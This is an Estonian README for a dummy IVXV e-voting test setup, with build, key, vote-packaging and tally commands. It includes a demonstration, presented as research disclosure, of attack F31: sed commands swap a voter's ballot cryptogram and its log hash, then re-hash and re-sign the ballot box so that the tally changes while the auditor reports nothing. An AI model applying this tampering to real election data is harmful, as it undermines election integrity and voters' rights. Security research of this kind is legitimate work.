Töötlemise ja kokkulugemise etapid on kirjeldatud "E-hääletamise käsiraamatu" ptk 3-4, seadistustesse juhatab sisse "IVXV seadistuste koostamise juhend" ptk 4 jj. Siinne juhis on vabalt levitatav1 ja kui dokumentatsioon on ebapiisav, siis tuleb pöörduda ametliku koodipuu ja selle eri harudes paiknevate juhendite/koodi poole.
There is also some documentation in English, that you can also find in source repository.
Häälte töötlemine, dekrüptimine ja tulemuse kuvamine kiirmeetodil:
rm -r out-* decout
./processor checkAndSquash -c conf/certs.asice -p conf/processor.asice
digidoc-tool create --file=out-2/DUMMY-bb-2.json.sha256sum out-2/DUMMY-bb-2.json.sha256sum.asice
./processor revokeAndAnonymize -c conf/certs.asice -p conf/processor.asice
digidoc-tool create --file=out-4/DUMMY-bb-4.json.sha256sum out-4/DUMMY-bb-4.json.sha256sum.asice
./auditor integrity -c conf/certs.asice -p conf/auditor.asice
./key decrypt -c conf/certs.asice -p conf/key.asice
cat decout/DUMMY.question-DUMMY.tally
Häälte töötlemine, dekrüptimine ja tulemuse kuvamine neljas etapis:
rm -r out-* decout
./processor check -c conf/certs.asice -p conf/processor.asice
digidoc-tool create --file=out-1/DUMMY-bb-1.json.sha256sum out-1/DUMMY-bb-1.json.sha256sum.asice
./processor squash -c conf/certs.asice -p conf/processor.asice
digidoc-tool create --file=out-2/DUMMY-bb-2.json.sha256sum out-2/DUMMY-bb-2.json.sha256sum.asice
./processor revoke -c conf/certs.asice -p conf/processor.asice
digidoc-tool create --file=out-3/DUMMY-bb-3.json.sha256sum out-3/DUMMY-bb-3.json.sha256sum.asice
./processor anonymize -c conf/certs.asice -p conf/processor.asice
digidoc-tool create --file=out-4/DUMMY-bb-4.json.sha256sum out-4/DUMMY-bb-4.json.sha256sum.asice
./auditor integrity -c conf/certs.asice -p conf/auditor_4step.asice
./key decrypt -c conf/certs.asice -p conf/key.asice
cat decout/DUMMY.question-DUMMY.tally
Võtmete genereerimine (uute võtmete korral kaasapandud hääled enam ei tööta):
rm -r initout dummy_card_filesystems
./key init -c conf/certs.asice -p conf/key.asice
Treieri/Düüna ründed põhinevad lihtsal faktil, et RVT võib anda audiitorile mistahes väljamõeldud valimiskastid või logid ja kui audiitor usaldab RVT-d, siis saab RVT poolne siseründaja või RVT süsteemi ligipääsu omandanud välisründaja tulemusi võltsida audiitorile avastamatult. Treieri rünnete kirjeldusi vt tema 2025. aasta teadusartikli peatükist B. Fault Scenario Catalogue ning üldtausta "TalTechi teadlased: Eesti e-valimised ei ole turvalised" ja "Teadlane pani Eesti e-hääletuse proovile ja leidis 12 kriitilist viga: kui süsteemi ei parandata, võib e-hääletus kinni minna".
Logikirjed on häälte Base64 vormigus krüptogrammide SHA-256 räsid Base64 vormingus, mida võib töödelda näiteks nii:
echo "..." | base64 -d | sha256sum | cut -d" " -f1 | xxd -r -p | base64
grep DUMMY.question-DUMMY out-2/DUMMY-bb-2.json | cut -d\" -f4 | xargs -n1 bash -c 'base64 -d <<<"$0" | sha256sum | cut -d" " -f1 | xxd -r -p | base64'
F31: swapping an overridden (non-latest) e-vote’s cryptogram with another voter’s latest cryptogram from the same district
Nagu demonstreeritud 26.01.2026 Riigikogu korruptsioonikomisjonis. Manipulatsioon toimub pärast konteinerite kehtivuse kontrolli ja korduvhäälte eemaldamist (käsk checkAndSquash) ning muudab hääletustulemust.
Enne:
"0000.1" : {
"0000.101" : 2,
"0000.102" : 2,
"invalid" : 0
},
Pärast:
"0000.1" : {
"0000.101" : 2,
"0000.102" : 1,
"invalid" : 1
},
Auditirakendus vigu ei anna.
sed -e "s|OuW1jJ/47pra5B2MHTUi5z2cBcJ2v50FNRk9gFsAGLg=/y8VhmeZyFAQh8ck|ri+IlehHcc8NK6mKraXW3+6SwH4=|" out-2/DUMMY.question-DUMMY.squash.log2
sed -e "s|MIHWMAsGCSsGAQQBho0fATCBxgRhBJ3fgzaJjsYZV8vy611JRFshd05WFyTMYvG8BicQN9fwpykSRhcZinVwBG1bQaBQF2oCswsZqgAc78lRfPgmM0f3Jyr7BxstX2lSDls6QwSKHHL8xPHwmxgEn1JA1TK90ARhBHJ8Y+XmYlfa2IWJ2dUOB5xzhwfaAy+Oj23ZDTZ9YlNwYPejDEpGFEM0rpXxcdRNHH16V2i4v8McXt+krCajmyW+yhHVFaN8Mq0tdeZdEfr1APwWW0yO3Qbb0H2/URhIWg==|MIHWMAsGCSsGAQQBho0fATCBxgRhBHc3F4HK+OrOO4PHb/fgvsFNLaCW8DbYmC2x6JMPXuyDcK/fCR7MTNx2OXIlLJcF5hMT1ISrtFnf21mif98yYU6AUuyPDFS+eOcqq2pA+oYvs+/WmrY4tCdXn4f9pKEhRgRhBDQSMZVodo27Cx6MUUx531fnkXRYrzX0kaFL7JZzf2EWPsdibaBrXl/ZcW+IGfCrTWwrFo/tXqBCWf1hdZJNvJDnBGv4pu3NceGkLxXK5fIom//voVXrzLINo9BJjXVrBw==|" out-2/DUMMY-bb-2.json
sha256sum out-2/DUMMY-bb-2.json | cut -d" " -f1 > out-2/DUMMY-bb-2.json.sha256sum
digidoc-tool create --file=out-2/DUMMY-bb-2.json.sha256sum out-2/DUMMY-bb-2.json.sha256sum.asice
Võtme-, töötlemis- ja auditirakenduse töölesaamiseks eelnevalt:
git clone --recurse-submodules https://github.com/infoaed/ivxv-dummy.git
cd ivxv.dummy
git submodule update --init --recursive
sudo apt update
sudo apt install openjdk-21-jdk
wget https://services.gradle.org/distributions/gradle-8.11-bin.zip
unzip gradle-8.11-bin.zip -d ivxv/common/external
rm gradle-8.11-bin.zip
patch -d ivxv -p1 <disable_rs.patch
make -C ivxv processor auditor ONLINE=1
make -C ivxv key ONLINE=1 DEVELOPMENT=1
Kui hääled on kogumisteenuse kinnitava signatuuriga, siis disable_rs.patch pole vajalik.
Normaaljuhul peaks piisama nimekirja redigeerimisest ja signeerimisest openssl-iga.
openssl ecparam -name prime256v1 -genkey -noout -out vl.pem
openssl ec -in vl.pem -pubout -out vl_pub.pem
openssl dgst -sha256 -sign vl.pem -out voterlist.txt.signature voterlist.txt
openssl dgst -sha256 -verify vl_pub.pem -signature voterlist.txt.signature voterlist.txt
Hääli saab anda käsurea valijarakendusega ja need peavad olema õigesti pakendatud ZIP-failis, millel on kontrollsumma ja kontrollsumma ise digiallkirjastatud.
./vote.py --local --collector
./votepackage.py ivxv-dummy votes.zip
sha256sum votes.zip | cut -d" " -f1 > votes.zip.sha256sum
digidoc-tool create --file=votes.zip.sha256sum votes.zip.sha256sum.asice
Võtme --collector kasutamine lisab ajatemplitele kogumisteenuse signatuuri, aga eeldab täiendatud DigiDoc tööriista paigaldamist.
openssl genrsa -out ts.pem 2048
openssl rsa -in ts.pem -pubout -out ts_pub.pem
Kui mõni sertifikaat on puudu ja digiallkirjade kontroll ei õnnestu, nt allkirjastatud konteiner "ei valideeru", siis siit leiab:
Tuleb puuduv sertifikaat lisada konteinerisse certs.asice, täiendada seal olevat faili ivxv.properties ja konteiner uuesti digiallkirjastada.
Footnotes
-
Peale siin failis olevate kirjelduste ja juhendmaterjalide on kogu varamu sisu avalikuks kasutuseks CC0 alusel. Selgitava saatesõna autor on Märt Põder ja seda võib levitada CC BY tingimustel autorit viidates. ↩